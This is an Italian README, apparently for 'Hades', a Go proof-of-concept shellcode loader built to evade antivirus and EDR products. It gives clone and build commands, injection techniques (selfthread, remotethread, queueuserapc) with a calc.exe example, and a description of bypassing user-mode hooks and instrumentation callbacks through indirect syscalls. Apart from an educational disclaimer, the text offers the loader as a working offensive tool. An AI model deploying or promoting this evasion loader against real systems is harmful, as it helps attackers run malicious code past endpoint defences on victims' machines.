
Caricatore di shellcode in Go che combina multiple tecniche di evasione
Hades è un loader proof of concept che combina diverse tecniche di evasione con l'obiettivo di bypassare i meccanismi difensivi comunemente utilizzati dagli AV/EDR moderni.
Il modo più semplice è probabilmente quello di compilare il progetto su Linux usando make.
git clone https://github.com/f1zm0/hades && cd hades
make
Successivamente, puoi portare l'eseguibile su un host Windows x64 ed eseguirlo con .\hades.exe [opzioni].
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Utilizzo:
hades -f <percorso> [-t selfthread|remotethread|queueuserapc]
Opzioni:
-f, --file <str> percorso del file shellcode (.bin)
-t, --technique <str> tecnica di iniezione [selfthread, remotethread, queueuserapc]
Inietta shellcode che avvia calc.exe con la tecnica queueuserapc:
.\hades.exe -f calc.bin -t queueuserapc
Bypass dell'hooking in modalità utente con ordinamento RVA delle syscall (NtQueueApcThread hookato con frida-trace e gestore personalizzato)

Bypass della callback di strumentazione con syscall indirette (la DLL iniettata proviene da syscall-detect di jackullrich)

Nell'ultima release, le capacità di syscall dirette sono state sostituite dalle syscall indirette fornite da acheron. Se per qualche motivo desideri utilizzare la versione precedente del loader che usava syscall dirette, devi passare esplicitamente il tag direct_syscalls al compilatore, che determinerà quali file includere ed escludere dalla build.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Attenzione
Questo progetto è stato creato solo a scopo educativo, per sperimentare con lo sviluppo di malware in Go e per saperne di più sul pacchetto unsafe e sulla strana sintassi Go Assembly. Non utilizzarlo su sistemi di cui non sei proprietario. Lo sviluppatore di questo progetto non è responsabile per eventuali danni causati dall'uso improprio di questo strumento.
Un ringraziamento alle seguenti persone che hanno condiviso la loro conoscenza e il loro codice che hanno ispirato questo strumento:
Questo progetto è concesso in licenza con la licenza GPLv3 - consulta il file LICENSE per maggiori dettagli.